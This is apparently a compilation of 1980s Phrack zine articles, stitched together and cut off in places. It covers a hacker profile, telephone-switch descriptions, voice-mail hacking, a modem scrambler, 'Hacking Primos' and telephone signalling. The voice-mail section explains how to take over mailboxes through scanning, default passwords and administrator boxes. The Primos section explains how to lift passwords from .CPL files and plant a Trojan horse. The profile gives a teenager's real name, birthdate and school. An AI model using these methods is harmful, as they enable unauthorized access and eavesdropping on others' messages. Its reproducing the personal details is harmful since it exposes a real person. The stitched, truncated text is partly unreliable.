+questions. He isn't registered at the school and of course has no classes.

+
+         Welcome to Phrack Pro-Phile VIII.  Phrack Pro-Phile is created to
+bring info to you, the users, about old or highly important/controversial
+people.  This month, I bring to you one of the older and high profile phreaks
+of the past...
+
+                              Wizard of Arpanet
+                              ~~~~~~~~~~~~~~~~~
+
+         Wizard of Arpanet is one of the older of the phreak/hack generation.
+His main accomplishments include running Inner Circle and Secret Service BBS.
+
+                       Handle: Wizard of Arpanet
+                     Call him: Eric
+                 Past handles: The Hacker and The Priest
+                Handle Origin: A real programmer on Arpanet was called The
+                               Wizard and Eric took his handle from him.
+                Date of Birth: 02/26/69
+Age in 9 days of this writing: 18 years old
+                       Height: 6'1"
+                       Weight: 150 lbs
+                    Eye color: Blue
+                   Hair color: Dishwaterish blond
+                    Computers: Atari 400, Commodore 64
+            Sysop/Co-sysop of: Secret Service
+
+------------------------------------------------------------------------------
+         Wizard of Arpanet started as your average BBS caller.  He eventually
+called Central Processing Unit (a local board to him), and there were these
+funny numbers on the board.  He called and tried to connect with his modem,
+but they turned out to be Sprint dial-ups.  The CPU Sysop informed him of what
+to do and he started calling national BBSs.  Boards that helped him to advance
+include the Twilight Zone (the sysop was the guy that wrote T-Net), OSUNY,
+Dragon's Lair, and Delta BBS.  Wizard organized various groups which included
+(from earliest to most recent): PHA (Phreakers and Hackers of America) -
+(included Deep Throat, Phreak King, and Psycho Killer), The Inner Circle (1st
+one) (included Shockwave Rider, and Satan Knight aka Redrum), and The 2nd
+Inner Circle (included The Cracker, Mr. America, Napoleon Bonapart, Stainless
+Steal Rat, Big Brother, Mr. Xerox, Bootleg, Maxwell Wilke, Mandrake The
+Magician, and Zaphod Beeblebrox).
+
+         Eric got the number to Arpanet from Dark Dante, and got on the MIT
+Research System from looking through TAC News.  One night he got like 50-60
+accounts on the Unix and changed all of the passwords to WIZARD.
+
+         Stainless Steal Rat, the Sysop of Delta BBS, and The Myth were all up
+from NJ one weekend, and they were staying the weekend at John Maxfield's
+house.  They went to John's office.  Wizard asked Maxfield if he could use his
+computer to print out some things he had with him and he printed out some
+stuff from the Stanford Artificial Intelligence address list for Arpanet.
+John was amazed.  "Wow," he said, "I have prime evidence on you." (TK: This
+may not for sure be an exact quote).  He then proceeded to bust our friend,
+Eric, the next week.  He also had a lot of stuff from AUTOVON from some fellow
+in Washington and started playing with the FTS lines (Federal Telephone
+System) which he found from, none other than, John Maxfield.  They had found
+the default passwords for TeleMail too, and got the administrator accounts and
+set up their own BBS on Nassau and Coca-Cola systems plus anywhere else
+possible.  And all of a sudden, it all came down when Mandrake decided to
+crash parts of TeleMail.  Enter, Federal Bureau of Investigations.  They had
+been monitoring Eric for 6 months looking for some evidence to get him on.
+And thus, they got it.  Nothing really happened, but he had to get a lawyer
+and he got some publicity in the paper.  After 90 days, everything they had
+taken, with the exception of a few documents, was sent back.  During those 90
+days, Eric worked as a computer security consultant at a bank making $200 an
+hour (2 hours...).
+
+         The only "phreaks" he's met are Stainless Steal Rat and Cable Pair.
+
+         Eric has been mentioned on local TV/News, in newspapers, USA Today,
+NY Times, Washington Post, Books, and Britannica Encyclopedia (look under
+Hacker).
+
+------------------------------------------------------------------------------
+
+         Interests: Music (preferably jazz, reggae, new wave), Eastern
+                    philosophy (Zen Buddhism), reading Jack Kerouac books (a
+                    great beatnik writer), driving aimlessly, slowly becoming
+                    a social recluse, physics, and Greek mathematicians.
+
+Eric's Favorite Things
+----------------------
+
+                    Women: The pursuit thereof (Karen Wilder).
+                    Foods: Chinese.
+                     Cars: BMW 320-I.
+                   Artist: Salvador Dali.
+Plans for next few months: Next year and a half - travelling to Montreal in
+                           April for a week of leisure, then jetting back to
+                           beautiful Detroit and continuing his studies at
+                           Eisenhower High School.
+
+Most Memorable Experiences
+--------------------------
+
+Realizing all at once that everything you did 3 years ago was stupid.
+Growing into a new person.
+Gaining morals and new ideas and a new outlook.
+
+Some People to Mention
+----------------------
+
+Tuc (For telling him about boxing).
+Tom Tone (For calling him on his first conference).
+Magnetic Surfer (Talking to him for the first time after Sherwood Forest went
+                 down voice).
+John Maxfield (Meeting him).
+Stainless Steal Rat (Meeting him...with John Maxfield).
+Dark Dante (One of the legends phreakdom).
+
+------------------------------------------------------------------------------
+
+         Always follow your instinct and not your desire for you will be
+sorry because you will be lying to yourself.
+
+------------------------------------------------------------------------------
+
+I hope you enjoyed this file.  Look forward to more Phrack Pro-Philes coming
+in the near future.  ...And now for the regularly taken poll from all
+interviewees.
+
+Of the general population of phreaks you have met, would you consider most
+phreaks, if any, to be computer geeks?  No, says Eric, he considers them a new
+breed of intellect.  Thanks for your time, Eric.

+     The PACT (Prefix Access Code Translator) feature provides preliminary
+translation data for features using access codes that are prefixed by a
+special code. A standard numbering and dialing plan requires that individual
+line and small business customers' (custom) calling use prefixed access code
+dialing for feature access.  PACT is offered on a per office basis. The PACT
+is NOT used for the interpretation of Centrex dialing customers.
+     When a call is originated by the customer, a call register is used to
+store the data about the call. The customer dials a prefix and a 2 digit
+access code (table a). The PACT then looks at the digits to determine what
+action should take place. Reorder or special service error messages will be
+heard if you enter an unassigned code. If the code is accepted, then that
+particular action will be performed. The PACT consists of the PACT head table
+and the prefixed access code translator. The PACT feature allows the dialing
+of a special code for a prefix. These are the '*' and '#'. If you have rotary,
+then '11' and '12' are used respectively. To use PACT, the prefix must be
+followed by a 2-digit code. This combination is then defined in terms of type
+and subtype (table b).

+    The subtranslator is always built 100 words long. A word is a binary code
+which, when sent as a whole, act as a command. One word is equal to a 2-digit
+access code. This subtranslator contains the PTW (Primary Translation Word).
+The PTW contains the feature type subtype and feature subtype index to
+determine the function of the dialed code. The feature subtype allows four
+subtype tables to exist for feature type 31 (LASS). Index 0 is for LASS. Index

+
+Voice Mail is a relatively new concept and not much has been said about it.
+It is a very useful tool for the business person and the phreak.  The way it
+works is that somebody wishing to get in touch with you calls a number,
+usually a 1-800, and punches in on his touch-pad your mailbox number and then
+he is able to leave a message for you.  Business experts report that this
+almost totally eliminates telephone tag.  When a person wishes to pick up his
+message all he needs to do is call the number enter a certain code and he can
+hear his messages, transfer them, and do other misc. mailbox utilities.
+
+Most VMSs are similar in the way they work.  There are a few different ways
+the VMSs store the voice.  One way is that the voice is recorded digitally and
+compressed and when heard it is reproduced back into the voice that recorded
+it. Another method that is slower and uses more space, but costs less, stores
+the voice on magnetic tape, the same type that is used to store data on a
+computer, and then runs the tape at a slow speed.  Using this method the voice
+does not need to be reproduced in any way and will sound normal as long as the
+tape is running at a constant speed.  On some of the newer VMSs the voice is
+digitally recorded and is transformed from the magnetic tape at about 2400
+bits per second.
+
+There are many different types and versions of voice mail systems.  Some of
+the best and easiest to get on will be discussed.
+
+Centagram
+---------
+These are direct dial (you don't have to enter a box number).  To get on one
+of these, first have a number to any box on the system.  All of the other
+boxes will be on the same prefix; just start scanning them until you find one
+that has a message saying that person you are calling is not available.  This
+usually means that the box has not been assigned to anybody yet.  Before the
+nice lady's voice tells you to leave the message, hit #.  You will then be
+prompted for your password.  The password will usually be the same as the last
+four digits of the box's number or a simple number like 1000, 2000, etc.  Once
+you get on, they are very user friendly and will prompt you with a menu of
+options.  If you can't find any empty boxes or want to do more, you can hack
+but the system administrators box, which will usually be 9999 on the same
+prefix as the other boxes, will allow you to hear anybody's messages and
+create and delete boxes.
+
+Sperry Link
+-----------
+These systems are very nice.  They will usually be found on an 800 number.
+These are one of the hardest to get a box on because you must hack out a user
+ID (different from the person's box number) and a password.  When it answers,
+if it says, "This is a Sperry Link voice station.  Please enter your user ID,"
+you will have to start trying to find a valid user ID.  On most Sperrys it
+will be a five digit number.  If it answers and says, "This is an X answering
+service," you first have to hit *# to get the user number prompt.  Once you
+get a valid user number will have to guess the password on most systems, it
+will be 4 digits.  Once you get in, these are also very user friendly and have
+many different options available.
+
+RSVP
+----
+This is probably one of the worst VMSs but it is by far the easiest to get
+yourself a box.  When it answers you can hit * for a directory of the boxes on
+it (it will only hold 23).  If you hit # you will be given a menu of options
+and when you choose an option you will then be prompted for your ID number.
+The ID number on an RSVP system will just about always be the same as the
+mailbox number, which are always only 2 digits.
+
+A.S.P.E.N.
+----------
+The Aspen voice message systems made by Octel Telecommunications is in my
+opinion the BEST VMS made.  To get a box on an Aspen, you need to find an
+empty box.  To find an empty box, scan the box numbers and if one says, "You
+entered XXXX.  Please leave a message at the tone," then this is an empty box.
+You next just press # and when prompted for your box number enter the number
+of the empty box and friendly voice of the nice lady will guide you through
+all of the steps of setting up your box.  She first tells you what you can do
+with the box and then will prompt you with, "Please enter the temporary
+password assigned to you by your system manager."  This password will usually
+be 4 digits long and the same as the box number like 1000, etc.  Once you get
+on their are many things you can do.  You can make a distribution list where
+if you want to leave a certain message to more than one person, you can enter
+the list number and all of the boxes on the list will get the message. You can
+also have the system call you and notify you that you have new messages. These
+systems also have what they call "Information center mailboxes" that are
+listen only and can also have a password on them so the person calling has to
+enter the password before he hears the greeting message.  Aspen VMSs have a
+system managers mailbox that will just about give you total control of the
+whole system and let you listen to people's mail, create and delete boxes, and
+many other things.

+
+Prologue:
+
+Well, it's been awhile since I've done one of my activities files. This time
+I've switched from chemistry to electronics. Hopefully, I will be writing
+more files similar to this one. Also, I have devised a more sophisticated
+encryption device, which I may release in the future
+
+Do you run a BBS, living in fear that the "feds" are gonna log on, and fool
+you into giving them a password? Do you wish that you could limit exactly WHO
+logs onto your board? Well, this file is just for you..
+
+Parts:
+
+1:9 volt battery
+
+1: 74hc/hct04 cmos hex inverter <about .50 cents>
+
+Some basic knowledge of electronics might help, and some wire would be helpful
+too. If you want to be fancy you can even splurge and get a 9 volt connector.
+
+Note: Although it is not required that you put this on an etched PC board, you
+can do this quite easily, and it makes for a much cleaner job.
+
+Ok, the basic idea behind this scheme is this:
+
+Data coming to and going from your modem is translated as 1's and 0's. This
+represents highs and lows, which translate out to code which your computer
+recognizes as valid data. Now, if you could switch all those 1's to 0's, and
+0's to 1's, then you would have a simple way of encrypting your data. That's
+exactly what the hex inverter does. If it sees a 0, it makes it a 1. If it
+sees a 1, it makes it a 0. So, what you want to do is have an inverter on your
+send line, and an inverter on your receive line. The computer you are
+connected to must also have inverters on its send and receive, or all you will
+see will be garbage! I tried to be as non-technical as possible in this for
+all you non-technical types out there.
+
+
+Connections:
+
+Hold the chip, and look at it. There should be a little notch in one end. Hold
+it as illustrated in the schematic:

+
+
+Ok, hook the + 9volts up to pin 14, and the negative up to pin 7.
+There are 6 inverters on this chip. For this, we will be using only 2 of them.
+
+Find the wire coming from your computer to the send data line on your modem.
+Sever this wire, and hook one side of it to pin 1. Hook the other end of it to
+pin 2. Next, find the receive data line, and sever it. Hook one end of it to
+pin 3, the other end to pin 4. That's about it.. if you want to use the other
+inverters on the chip, here's the complete pinouts.

+
+Remember, that your BBS modem must have one of these devices on it, as well as
+the user calling. I have tested this on Smartmodems, and it does work. If you
+have an internal modem, this may be a little difficult for you.

+
+             The DAIS II System by Computer Consoles Incorporated
+
+INTRODUCTION...
+~~~~~~~~~~~~~~~
+         Computer Consoles Incorporated (CCI) manufactures various hardware
+appliances to be used in conjunction with phone companies switches as well as
+other aspects of the companies' uses, plus computer systems such as their own
+Unix-supporting systems.
+         DAIS II is the Distributed Automatic Intercept System, which is the
+system used to announce if the subscriber has dialed a non-working number.
+This is what you hear, in action, when you dial a wrong number and get the 3
+tones plus the announcement or the ONI (Operator Number Identification)
+intercept operator ("What number did you dial?").
+         The information from this file comes mostly from an instructional
+manual sent to me by CCI, who can be reached at 800-833-7477 or 716-482-5000
+directly, or may be written to at 97 Humbolt Street, Rochester, NY, 14609.
+
+INTERCEPTION
+~~~~~~~~~~~~
+         Most definitely any person who has used a telephone in his life has,
+by some means or another, come across the dreaded 3 tones, leading up to the
+ever-so-cumbersome announcement telling of the disconnected or non-working
+number.  This file will go into how the whole system works.
+         After dialing the non-working number, the telco's Class 5 End Office
+routes the call to DAIS II.
+
+ANI Calls
+~~~~~~~~~
+         Provided that the End Office has Automatic Number Identification
+(ANI) equipment, the equipment then identifies the digits of the called number
+and sends them to the intercept system.
+         The system receives the called number from the end office, retrieves
+information for that number from the intercept database, formulates the
+message, and delivers it to the customer in an automated announcement.  These
+announcements can either be standardized or tailored to the independent
+telephone companies' needs.  If further assistance is required, the caller can
+then stay on the line and wait for an operator to come onto the line.
+
+ONI Calls
+~~~~~~~~~
+         When the End Office is primitive, and they don't have the ANI
+equipment to do the above ritual, operators are directly involved.  These
+operators are also called into action when there is an ANI or DAIS II failure.
+         When the ONI (Operator Number Identification) call comes in, DAIS II
+routes the call to the operator.  The operator asks for the number that the
+customer called and then keys it into her KDT (Keyboard Display Terminal).
+After she hits the command key, the number's information is searched for in
+the intercept database, the message is formulated, and the automated response
+is announced.  Once again, if the caller needs further assistance, an operator
+will return to the line to help the subscriber.
+
+         Operators will return to the line for any number of reasons.  They
+include the following:
+
+Unsuccessful Searches - After DAIS II receives the called number from ANI
+                        equipment or from an operator, it searches the
+                        database to find the intercept message associated with
+                        the telephone number.  The database contains all
+                        10,000 line numbers for each exchange in the calling
+                        area.  If the system cannot complete the search, the
+                        number was either keyed in incorrectly or there is a
+                        problem in the system.  The call is then routed to an
+                        operator and displays the intercepted number
+                        (including NPA) on the KDT screen along with a message
+                        indicating why the search could not be completed.  If
+                        the number was keyed in wrong, the operator will
+                        correct the number, or else she will ask the
+                        subscriber to re-dial the number.
+Aborted Announcements - If a search is given successful but for one reason or
+                        another the automated announcement cannot be given,
+                        the call is routed to an operator.  The KDT display
+                        shows the intercepted number, the appropriate
+                        information for a verbal response, and the message,
+                        "VERBAL REPORT."  In this case, the operator quotes
+                        the message to the caller rather than activating the
+                        automated response.
+Reconnects            - If a customer remains on the line for more information
+                        after receiving the automated announcement, the system
+                        routes the call to an operator.  The operator's KDT
+                        display shows the called number plus other pertinent
+                        information given to the caller in the previous
+                        announcement.  From here, the operator can respond
+                        verbally to the customer's needs, or activate the
+                        automated system again.  The DAIS II system allows up
+                        to 4 reconnects per call, but the possible number of
+                        reconnects available ranges from 0-3.  With 1
+                        reconnect, the operator must report verbally.
+Split Referrals       - If a number has been changed but replaced with two
+                        numbers, this is called a "split referral."  When the
+                        database finds 2 or more numbers, the DAIS II system
+                        routes the customer to an operator, displaying the old
+                        number and new listings on the KDT screen.  The
+                        operator then asks which number they are looking for
+                        and keys in the command key to activate the
+                        announcement, or else they do the announcement
+                        verbally.
+
+Operator Searches
+~~~~~~~~~~~~~~~~~
+         Situations may arise where the subscriber needs more information
+than was given by the automated announcement, or believes the information to
+be invalid.  DAIS II provides for operators to have access to both the
+intercept and the DA databases at all times as long as the system
+administrator, who judges the extent to which operators can use the
+cross-search capability, allows it.
+
+Components Of The System
+~~~~~~~~~~~~~~~~~~~~~~~~
+         The telco's Class 5 End Offices contain switching equipment that
+routes calls to DAIS II.  If the office has ANI equipment, the switch routes
+the called digits to the intercept system in the form of multi-frequency
+tones.  The end offices route calls to DAIS II on dedicated (direct) trunks.
+These direct trunks can carry ANI traffic or ONI traffic, but not both.
+
+         If trunk concentrators are used, the concentrator trunks to DAIS II
+may carry ANI calls, ONI calls, or both, depending on the types of trunks
+coming into the concentrators from the end offices.  The call is identified as
+ANI or ONI through MF tones transmitted by the concentrators.
+
+         If an operator must be involved (due to ONI or further assistance),
+DAIS II routes the call to the telco's ACD (Automatic Call Distributor), which
+is a switching device that routes calls to any available operator.
+
+         The intercept data base resides on disk in the ARS (Audio Response
+System).  ARS processors known as Audio Response Controllers (ARCs) search the
+intercept database.  If a call requires an operator's services, the Marker
+Decoder Unit (MDU) provides ACD routing information to the ARC.
+
+         The DAIS II Automatic Intercept Communications Controllers (AICCs)
+route messages between the ARCs and the DAIS II subsystems.  An intercept
+subsystem that is housed at the same location as the database is called a
+Colocated Automated Intercept System (CAIS).  A subsystem located at a
+distance from the database is known as a Local Automated Intercept System
+(LAIS).  Each subsystem can provide automated announcements without using
+expensive trunking to route ANI calls to a centralized intercept office.  Only
+calls that require operator assistance are routed on trunks to the ARS site.
+Because those trunks are only held white the operator identifies the number
+and are released before the announcement begins, trunk requirements are
+reduced.  The automated announcement is always given by the intercept
+subsystem.
+
+         Each CAIS or LAIS site contains a Trunk Time Switch (TTS) and DAIS II
+Audio Response Units (DARUs).  Intercept trunks from the concentrators and the
+Class 5 End Offices terminate at the TTS.  When an ONI call comes in on one of
+these trunks, the TTS routes it to the ACD.  When an ANI call comes in, the
+TTS routes the called number to the ARC.  After the ARC retrieves the
+appropriate message from the database, it sends that information back to the
+TTS, which connects a DARU port to the trunk on which the call came in.  Then,
+the DARU produces an automated announcement of the message and delivers it to
+the caller.  ARS hardware generates only DA announcements whereas DAIS II
+hardware generates only intercept announcements.
+
+Automatic Intercept Communications Controller (AICC)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+         The AICC routes messages between the ARC and the TTS.  Two units are
+required to enhance system reliability.  Each pair of AICCs can communicate
+with up to 4 CAIS or LAIS subsystems.
+
+         The AICCs are similar to the Audio Communications Controllers (ACCs)
+in the ARS system, but AICCs use a Bisynchronous Communications Module (BSCM)
+instead of a LACIM.
+
+         An AICC can be equipped with up to 8 BSCMs, each of which handles one
+synchronous communication line to the TTS.  The BSCM models selected depend on
+the location of the AICC with respect to the CAIS/LAIS sites.  Standard SLIMs
+(Subscriber Line Interface Modules) are required for communication with the
+ARC.
+
+Trunk Time Switch (TTS)
+~~~~~~~~~~~~~~~~~~~~~~~
+         The TTS has two types of components: the Peripheral Modules (PMs) and
+the Common Controls (CCs).
+
+         The PM contains the printed circuit boards that provide the link
+between the end office's ANI trunks and the ARC and between the ONI trunks and
+the ACD.  The activity of the PM is under direction of the CC
+
+         A PM rack contains five types of circuit boards: Multi-frequency
+Receivers (MFRs), Analog Line Front Ends (ALFEs), T1 Front Ends (T1FEs),
+Peripheral Module Access Controllers (PMACs), and Multi-purpose Peripheral
+Devices (MPPDs).
+
+         The MFRs translate the intercepted number from multi-frequency tones
+to ASCII digits for ANI calls; for ONI calls that come through a trunk
+concentrator, the MFRs translate the tones sent by the concentrator to
+indicate an ONI call.  Based on the tones, the MFR determines the type of
+call: regular, trouble, etc.
+
+         ALFEs convert incoming analog data to digital form so that it can be
+switched on the digital network.  They also convert outgoing digital data back
+to analog.  Incoming ALFEs provide the link between the TTS and the analog
+trunks from the Class 5 End Offices.  Outgoing ALFEs provide the link between
+the TTS and the analog trunks to the ACD.
+         ALFE is subdivided into two types for both incoming and outgoing:
+ALFE-A (contains the control logic, PCM bus termination, and ports for 8
+trunks) and ALFE-B (contains ports for 16 trunks, but must be paired with an
+ALFE-A in order to use the control logic and PCM bus on the backplane).
+ALFE-As can be used without ALFE-Bs, but not vice versa.
+         Incoming ALFEs support E&M 2-wire, E&M 4-wire, reverse battery, and
+3-way signalling trunks.  Outgoing ALFEs support E&M 2-wire, reverse battery,
+and high-low trunking.
+
+         T1FEs provide the links between the TTS and the D3-type T1 spans from
+the end offices.  They also link the DARU VOCAL board ports and the TTS.  Each
+board has 24 ports in order to handle a single T1 span which carries 24 voice
+channels.
+
+         PMAC is based on a Motorola 68000 microprocessor that directs and
+coordinates data flow within the PM.
+
+         MPPD boards provide bus termination and the system clocks for the
+digital network.  The MPPD contains a master and a secondary clock, which are
+synchronized with the frequency of an incoming T-1 span.  The module also
+contains its own clock for use when T-1 synchronization is not available or
+lost.
+         The MPPD also generates the ringing tones, busy signals, and reorder
+tones heard by the customer and sends the zip (alert) tone to the operator.
+
+         The CC controls the interaction between the PM components and the
+DARU.  It contains the Office Dependent Data Base (ODDB), which is a system
+table that describes the configuration of the TTS.  The CC uses the ODDB to
+determine whether an incoming call is an ANI or ONI trunk.
+         The CC sets up paths through the digital network in order to
+coordinate the resources of the CAIS/LAIS.  It receives messages from the
+PMAC, stores information necessary for returning a response to the appropriate
+trunk, and controls message routing to and from the ARC or the operator.  It
+also synchronizes the TTS and the Directory Assistance System (DAS) for
+operator-caller communications.
+         The CC is a Power-series standalone processor that contains a central
+processing unit (CPU-2), based on the Motorola 68000 microprocessor.  The
+processor also contains distributed intelligence for controlling the memory
+subsystem, the IO (input/output) subsystem, and the disk/tape subsystem.  Each
+CC includes a Winchester disk drive, a quarter-inch tape drive, and additional
+miscellaneous hardware.
+
+DAIS II Audio Response Unit (DARU)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+         The DARU contains the VOCAL boards that produce automated
+announcements, which are compiled from a vocabulary stored in RAM.  A
+CAIS/LAIS contains 1 to 3 DARUs, each with 48 ports.
+         If a CAIS/LAIS houses more than one DARU, the units are multi-dropped
+together.  One DARU is always linked to the ARCs (either directly or by modems
+and telephone lines) so that the announcement vocabulary can be downloaded
+from the ARCs if necessary.

+    Author Note:
+
+   Ugg! I looked at my first file after it was released and saw a lot of
+  misspellings, errors and other screw-ups and was completely embarrassed. I
+  did not have time to edit the file and I was also writing the second file
+  which dealt with gaining privileges. I threw these two files at Taran King
+  who in turn merged them together. So I humbly apologize for all of the
+  errors in the last file. In this file I will revise the old file and
+  continue with some more methods of gaining access and also list out some
+  very basic commands for beginners. As I said before, if you have any
+  questions you can reach me on any board I am currently inhabiting. Hope to
+  hear from you...
+
+
+    *** Gaining Access From Scratch ***
+
+   I made a mistake in my last file and stated that FAM was not a default. FAM
+  is a default, but it can be taken out by the system administrators.
+
+
+ To get a listing of every possible account on a system, it is really quite
+ easy. They are located in the MFD directories. Type:
+
+A MFD <MFD #> (Without the "<" and ">" signs)
+
+Or just:
+
+A MFD
+
+ Then type LD and hit return. Now, you will see a listing of files and
+ underneath should be a listing of directories appropriately named
+ Directories. These directories are valid User IDs. However, I believe that
+ directories that have an "*" character in them cannot be logged in to.
+
+
+   *** Getting Higher Access Revised ***
+
+  SYS1 is the highest system level there is. Meaning unless commands have to
+ be entered from the supervisors terminal, you can usually do anything with an
+ account that has SYS1 access. Also, I should clarify that SYS1 will not
+ always be the name of the highest access available. It could be named SYSTEM
+ or anything for that matter.
+
+  You are looking for a file with the extension .CPL - look for this file
+ under any of the SYS1 directories. When you find one, SLIST it. You are
+ looking for a line similar to:
+
+A <DIRECTORY NAME> <PASSWORD>
+
+It could look like:
+
+A LIB XXX
+
+LIB is the directory (user id) name.
+
+XXX is the password to that directory (user id).
+
+
+ When you have this, log into that account with the directory name and
+ password. If your lucky you'll gain access to that account. I have noticed
+ that a lot of high access accounts sometimes have the password XXXXXX or X.
+ Try these, I am unsure as to whether they are actual defaults or not.
+
+
+  Ah, the revision is done! Now some more ways to gain access...
+
+
+   *** The Trojan Horse ***
+
+  Providing you have access, you may or may not be able to edit a file in a
+ high access directory. If you can't then try the above technique and try to
+ hack a higher level account.
+
+
+  You will first want to learn the Command Processing Language (CPL). Type
+ HELP CPL for a list of commands and then play around and try to write your
+ own programs. If you don't have a manual handy, look at other CPL programs in
+ other directories you can access. Once you know CPL, all you have to do is
+ edit a CPL file in a high access dir. Add your own high level commands to the
+ program. Then replace the old file, logoff and wait until the operator(s)
+ decide to run your program. Hopefully, if everything goes well your routines
+ will help you with whatever you wanted. However it would be a good idea to
+ have your TH write a file to your directory telling you whether it has been
+ ran or not. I will discuss different Trojan Horses in later issues of Phrack.
+
+
+  Once on a Prime it is pretty easy to get other accounts so don't worry about
+ it. Just worry about getting on in the first place. Patience is definitely
+ required since many systems (particularly versions 19 up) tend to hang up
+ after the first invalid id/password combo.
+
+
+
+     *** Basic Commands For Beginners ***
+
+
+  This is a list of basic commands you can use once on a Prime system. I will
+  not go in-depth on a command, because you can do that for yourself by
+  typing:
+
+HELP <COMMAND NAME>
+
+
+
+SLIST <FILENAME>
+
+This will list out the contents of a file on a directory. Type in the full
+file name (plus extension).
+
+
+ATTACH <DIRECTORY NAME>
+
+This will attach you to another directory. For a full explanation type HELP
+ATTACH.
+
+
+LD
+
+This will list all the files and subdirectories in a directory.
+
+
+RLS -ALL
+
+Commands add up on the stack, and eventually after a pre-determined amount of
+commands you will get a message telling you that you are "now at command level
+XX". This command will release all those pent up commands in the stack.
+
+
+CPL <FILENAME>
+
+This will run a file with the extension ".CPL".
+
+
+COMINPUT <FILENAME>
+
+This will run a file with the extension ".COM"
+
+
+SEG <FILENAME>
+
+This will run a file with the extension ".SEG"
+
+
+STATUS USERS
+
+This will give you a listing of users and other information currently on the
+system.
+
+
+STATUS
+
+This will give you the status of the system and other information.
+
+
+EDIT (Or ED)
+
+This is a text editor.
+
+
+CHANGE_PASSWORD <OLD PASSWORD>
+
+Does just what it says it does.
+
+
+DELETE <FILENAME>
+
+Deletes a file.
+
+
+LOGOFF
+
+I think this is pretty obvious.
+
+
+LOGIN
+
+This will log you out and take you back to the login process, providing there
+is no logins-over-logins set by the administrators.
+
+
+This is a very small list, but will probably help the beginner greatly when
+he/she first logs on. Hope you enjoyed this issue...Look for Hacking Primos
+Part IV in Phrack, 12. Mebbe'.

+                         Telephone Signalling Methods
+                         ----------------------------
+
+
+                           Written by Doom Prophet
+
+
+   This file explains the basic signalling methods in use by the telephone
+system and is intended for general understanding. The text that follows is not
+highly technical since this file is for basic understanding and aimed at less
+experienced phreaks. Still, the more experienced readers may want to read it
+as a review on the information.
+
+
+    Analog--Analog signals are those that have continuously and smoothly
+varying amplitude or frequency.  Speech signals are of this type when you
+consider tone, pitch and volume levels that vary according to the person
+speaking. When a person speaks into the transmitter on a telephone, the voice
+signals are made up of acoustical energy, which are then converted into
+electrical energy for transmission along a transmission medium.
+
+    Analog carrier facilities may operate over different media, such as wire
+lines, multi-wire cable, coaxial cable, or fiber optic cable. Copper wire is
+the most commonly used for subscriber loops.
+
+
+    A technique that allows for many signals to be sent along the same
+transmission path is called Multiplexing. Analog signals use Frequency
+Division Multiplexing or FDM.
+
+
+    Digital--Instead of the voice signal being processed as an analog signal,
+it is converted into a digital signal and handled with digital circuits
+throughout the transmission process. When it arrives at the CO that serves the
+called telephone, it is converted back to analog to reproduce the original
+voice transmission.
+
+
+    Pulse Code Modulation or PCM is when the binary signal is transmitted in
+serial form. Binary coding represents bits or binary digits at 0 and 1 levels.
+These levels have a definite time relationship with one another. Time Division
+Multiplexing or TDM is the type of multiplexing, sometimes abbreviated as MUX,
+done for digital transmission.
+
+
+    Metallic--Metallic facilities carry only one Voice Frequency (VF) channel.
+Typically, a metallic facility is used to connect business or residential
+lines to a CO. Coaxial cable can be used to transmit both Analog and Digital
+signals as well as Metallic signals.
+
+
+    VF channels have a 4000 Hz bandwidth, from 0 to 4000 Hz. However, the
+in-band range of the voice frequency is between 200 and 3400 Hz. Signals that
+are out of this frequency range but still within the VF channel are out of
+band signals. A supervisory equivalent to 2600 for out of band is 3700 Hz. The
+amount of VF channels vary according to the transmission facilities that are
+being used.
+
+
+    CCIS (Common Channel Interoffice Signalling) is where control or
+supervisory signals are sent on a separate data link between switching
+offices. CCIS links operate at 4800 bps, or baud. Signal Transfer Points in
+the switch send the supervisory information over the dedicated link. This
+prevents supervisory tones from subscriber stations to register with the
+telephone network as a change in trunk status.
+
+
+    Reverse Battery Signalling- When the called end answers, the polarity and
+condition of the Ring and Tip leads is reversed to indicate the status of the
+connection. Conditions for a call being placed, but not yet answered, is
+ground on the Tip and battery (the CO battery current is flowing through) on
+the Ring.  When the called party answers, by the action of relays in the
+switching equipment, current is reversed in the calling subscriber loop and
+battery is placed on the Tip and ground on the Ring, which remains during the
+talking.
+
+
+    E and M- Leads connecting switching equipment to trunk circuits are termed
+the E and M leads, for receive and transmit. The E lead reflects the far-end
+or terminating end condition of the trunk. Ground on the E lead indicates that
+a signal has been received from the other end. The E lead is open when the
+trunk is idle. The M lead reflects the the near end condition of the trunk. It
+is grounded when the trunk is idle, and goes to battery condition when the
+called party goes off hook. Long interoffice and short haul toll trunks use
+this signalling method.
+
+
+    It should be noted that AC signalling is Alternating Current, and is used
+on the intertoll network, and interoffice and short haul toll trunks. DC, or
+direct current, is used on two wire or intraoffice connections, and local
+interoffice trunks.
+
+    Single Frequency (SF)- Single Frequency is an in-band 2600 Hz signalling
+system. When a four wire trunk is idle, and is equipped for SF in band
+signalling, a 2600 Hz tone is being transmitted in both directions. When the
+trunk is seized at an originating position, the M lead is changed from ground
+to battery state. This removes the 2600 Hz supervisory tone from the outgoing
+trunk pair. The loss of the 2600 Hz will be detected at the far end by the SF
+signalling unit, changing the far end E lead condition from open to ground,
+causing switching equipment to function. When ground is restored to the M
+lead, replacing 2600 on the near end trunk, the pulsing of address information
+begins.
+
+
+    Multi-Frequency (MF)- The MF pulsing method uses AC signals in the voice
+frequency range, and transmits address information between COs by combinations
+of only 2 of 5 frequencies. MF is used for the sending of address information,
+as mentioned before. Other signalling methods are still required for trunk
+control and supervision. There are six MFs comprising MF codes. These are 200
+Hz apart in the 700-1700 range. Two frequencies are sent at once, thus
+explaining the term 'Multi frequency.'
+
+
+    MF pulsing is initiated by manual keysets and the TSPS switchboard, or by
+MF outpulsing senders in ESS and Xbar. MF pulsing is very rapid and only
+occurs when a connection is being established. KPs, or Key Pulses, are used as
+a signal to start MF pulsing. STs, or STart tones are used as a signal to
+indicate the end of MF pulsing.
+
+
+    As an example of MF signalling, take a toll switchboard trunk connected to
+a Xbar Central Office. The operator selects an idle trunk, and presses the KP
+button on the keyset to signal the distant sender or register link equipment
+to connect to a MF receiver. The S lamp on the keyset will light when the far
+end is ready to receive MF pulses. After keypulsing the digits of the called
+number, the operator presses the ST button, which indicates the end of pulsing
+and disconnects the keyset from the operator's cord circuit and extinguishes
+the KP and S lamps.
+
+
+    At the terminating CO, the two MF tones of each digit are amplified and
+limited in the MF receiver unit associated with the incoming sender and
+register circuit. The frequencies are selected by channel filters in the MF
+receiver and then detected. The DC voltage that results will operate the
+proper channel relays to continue with the process of placing the call.

